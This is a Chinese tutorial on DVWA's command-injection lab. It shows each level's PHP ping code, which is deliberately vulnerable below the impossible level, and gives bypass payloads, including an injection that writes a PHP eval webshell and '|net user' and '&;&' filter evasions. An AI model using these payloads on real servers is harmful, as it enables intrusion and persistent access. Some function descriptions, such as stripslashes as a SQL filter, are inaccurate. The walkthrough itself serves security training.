关于命令连接符
command1 && command2
表示 command1执行成功后command2后执行,如果command1执行失败command2就不执行
command1 & command2
&表示command1 不管是否成功,都会执行command2
command1 || command2
||表示先执行command1,执行失败后,执行command2;如果command1 执行成功 command2就不执行成功
command1 | command2
| 表示将command1 的输出作为command2 的输入 值打印command2的执行结果
LOW等级代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
我们来逐步分析一下low等级的代码
$_REQUEST超全局变量支持两种方式发送过来的请求,即post和get它都可以接受。
target变量获取输入框的值
stristr()函数查找字符串中的第一次出现,并返回字符串的剩余部分;php_uname()函数返回运行 PHP 的系统类型;
我们输出一下php_uname(‘s’)的运行结果
if判断 如果是 Windows NT,Windows系统就执行ping 如果系统是Linux的就执行ping -c 4;
shell_exec()通过 shell 环境执行命令
这里的话没有什么过滤的东西就可以直接 进行命令执行注入,写入一句话直接写入一句话
127.0.0.1 | echo “<?php @eval($_GET[x]);?>” >> 3213.php
Medium等级代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
分析代码
target变量获取 接受数据
$substitutions是个关联数组; key => value 键值对的形式
这里设置了过滤,我们来分析一下。
str_replace()函数以其他字符替换字符串中的一些字符(区分大小写),关于语法str_replace(find,replace,string,count)find必需填写规定要查找的值。replace必需填写规定替换 find 中的值的值。string必需填写规定被搜索的字符串
array_keys()函数返回包含数组中所有键名;
意思就是 如果传递的字符传中存在 &&或者; 就会替换为空;下面代码就和上面一样。
这里可以使用 ||、|、&来进行绕过。还有一个小技巧127.0.0.1 &;& net user
上面的规则会把 && 和 ; 替换为空 这样的话 &;& 就会变成这样 &;& => &&
Heig等级代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
判断规则的函数和上面介绍的都一样就是过滤的字符多了。我们仔细的观察这里过滤的是 【|空格】 并没有过滤【|】 和【空格|】。
这样的话就可以这样绕过
127.0.0.1空格|net user
127.0.0.1|net user
impossible等级代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析代码:
checkToken()和stripslashes()这两个函数不在过多介绍了一个是判断token的值和过滤SQL注入的。
exolode()函数把字符串打散为数组关于语法explode(separator,string,limit)separator必需填写规定在哪里分割字符串,string必需填写要分割的字符串,limit可选规定所返回的数组元素的数目。,我们来举个例子看一下
is_numeric()判断变量是不是int类型;sizeof()返回数组中元素的数目
if判断如果数组中的值是int类型并且数组中元素的数目=4 则条件成立执行命令。所以这里命令执行就凉掉了。
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) )